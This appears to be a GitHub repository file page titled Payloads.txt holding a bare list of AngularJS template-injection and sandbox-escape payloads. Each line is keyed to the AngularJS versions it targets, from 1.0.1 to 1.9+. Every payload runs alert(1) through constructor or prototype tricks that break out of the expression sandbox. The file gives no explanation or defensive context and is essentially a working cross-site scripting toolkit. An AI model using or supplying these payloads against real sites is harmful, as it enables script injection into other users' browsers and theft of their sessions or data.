-
Notifications
You must be signed in to change notification settings - Fork 14
/
Payloads.txt
46 lines (23 loc) · 2.65 KB
/
Payloads.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
1.9+ -> {{constructor.constructor('alert(1)')()}}
1.8+ -> {{constructor.constructor('alert(1)')()}}
1.7+ -> {{constructor.constructor('alert(1)')()}}
1.6+ -> {{constructor.constructor('alert(1)')()}}
1.6+ -> {{[].pop.constructor('alert\u00281\u0029')()}}
1.6.0 -> {{0[a='constructor'][a]('alert(1)')()}}
1.6.0 -> {{$eval.constructor('alert(1)')()}}
1.6.0 -> {{$on.constructor('alert(1)')()}}
1.5.9-11 -> {{ c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.$apply=$apply;c.$eval=b;op=$root.$$phase; $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=od; B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,alert(1)))+'; astNode.argument={type:'Identifier',name:'foo'}; "); m1=B($$asyncQueue.pop().expression,null,$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; $eval('a(b.c)');[].push.apply=a; }}
1.5.0-8 -> {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
1.4.0-9 -> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
1.3.20 -> {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
1.3.19 -> {{ 'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; $eval('x=alert(1)//'); }}
1.3.3-18 -> {{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 'a'.constructor.prototype.charAt=[].join; $eval('x=alert(1)//'); }}
1.3.1-2 -> {{ {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 'a'.constructor.prototype.charAt=''.valueOf; $eval('x=alert(1)//'); }}
1.3.0 -> {{!ready && (ready = true) && (!call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString('F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(1);')));}}
1.2.24-29 -> {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
1.2.19-23 -> {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
1.2.6-18 -> {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
1.2.2-5 -> {{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
1.2.0-1 -> {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
1.0.1-5 -> {{constructor.constructor('alert(1)')()}}
1.1.1-5 -> {{constructor.constructor('alert(1)')()}}